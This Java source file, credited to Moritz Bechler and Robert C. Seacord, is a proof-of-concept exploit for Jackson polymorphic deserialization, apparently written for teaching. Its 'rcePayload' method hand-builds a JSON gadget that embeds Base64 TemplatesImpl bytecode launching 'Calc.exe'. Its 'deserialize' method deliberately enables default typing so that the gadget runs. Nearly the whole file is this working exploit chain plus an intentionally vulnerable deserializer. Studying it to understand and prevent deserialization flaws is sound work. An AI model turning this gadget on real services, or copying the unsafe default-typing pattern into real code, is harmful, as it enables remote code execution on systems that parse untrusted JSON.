// The MIT License (MIT)

// Copyright (c) 2017 Moritz Bechler

// Copyright (c) 2018 Robert C. Seacord

//

// Permission is hereby granted, free of charge, to any person obtaining a copy

// of this software and associated documentation files (the "Software"), to deal

// in the Software without restriction, including without limitation the rights

// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell

// copies of the Software, and to permit persons to whom the Software is

// furnished to do so, subject to the following conditions:

//

// The above copyright notice and this permission notice shall be included in all

// copies or substantial portions of the Software.

//

// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR

// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,

// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE

// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER

// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,

// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE

// SOFTWARE.

package jackson;

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

import java.lang.reflect.InvocationTargetException;

import java.util.LinkedHashMap;

import java.util.Map;

import java.util.Properties;

import javassist.CannotCompileException;

import javassist.NotFoundException;

import ser05j.Reflections;

import java.util.Base64;

import java.util.Map.Entry;

public class Cage {

private static Object deserialize(String data) throws IOException {

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

// deserialize as Object or permissive tag interfaces such as java.io.Serializable

return mapper.readValue(data, Object.class);

}

private static String quoteString(String string) {

return '"' + string + '"';

}

private static void writeProperty(StringBuilder sb, String key, String value) {

sb.append('"').append(key).append('"');

sb.append(':');

sb.append(value);

}

private static String writeObject(String type, Map<String, String> properties) {

StringBuilder sb = new StringBuilder();

sb.append('[');

sb.append('"').append(type).append('"');

sb.append(',');

sb.append('{');

boolean first = true;

for (Entry<String, String> e : properties.entrySet()) {

if (!first) {

sb.append(',');

} else {

first = false;

}

writeProperty(sb, e.getKey(), e.getValue());

}

sb.append('}');

sb.append(']');

return sb.toString();

}

private static String writeArray(String... elements) {

StringBuilder sb = new StringBuilder();

sb.append('[');

boolean first = true;

for (String elem : elements) {

if (!first) {

sb.append(',');

} else {

first = false;

}

sb.append(elem);

}

sb.append(']');

return sb.toString();

}

public static String rcePayload() throws

IllegalAccessException, ClassNotFoundException, InstantiationException, CannotCompileException,

NotFoundException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {

String[] args = {"Calc.exe"};

Object tpl = TemplatesUtil.createTemplatesImpl(args);

byte[][] bytecodes = (byte[][]) Reflections.getFieldValue(tpl, "_bytecodes");

Map<String, String> values = new LinkedHashMap<>();

String base64 = Base64.getEncoder().encodeToString(bytecodes[0]);

values.put("transletBytecodes", writeArray(quoteString(base64)));

values.put("transletName", quoteString("foo"));

values.put("outputProperties", "{}");

if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {

return writeObject("org.apache.xalan.xsltc.trax.TemplatesImpl", values);

}

return writeObject("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", values);

}

public static void main(String[] args) throws

IllegalAccessException, ClassNotFoundException, InstantiationException, CannotCompileException,

NotFoundException, IOException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {

Properties props = System.getProperties();

props.setProperty("upstreamXalan", "true");

// Writes gadget by hand and then deserializes using unmarshal

String json = rcePayload();

System.out.println(json);

Object obj = deserialize(json);

Class cls = obj.getClass();

System.out.println("The type of the object is: " + cls.getName());

System.out.println(obj);

}

} // end class Cage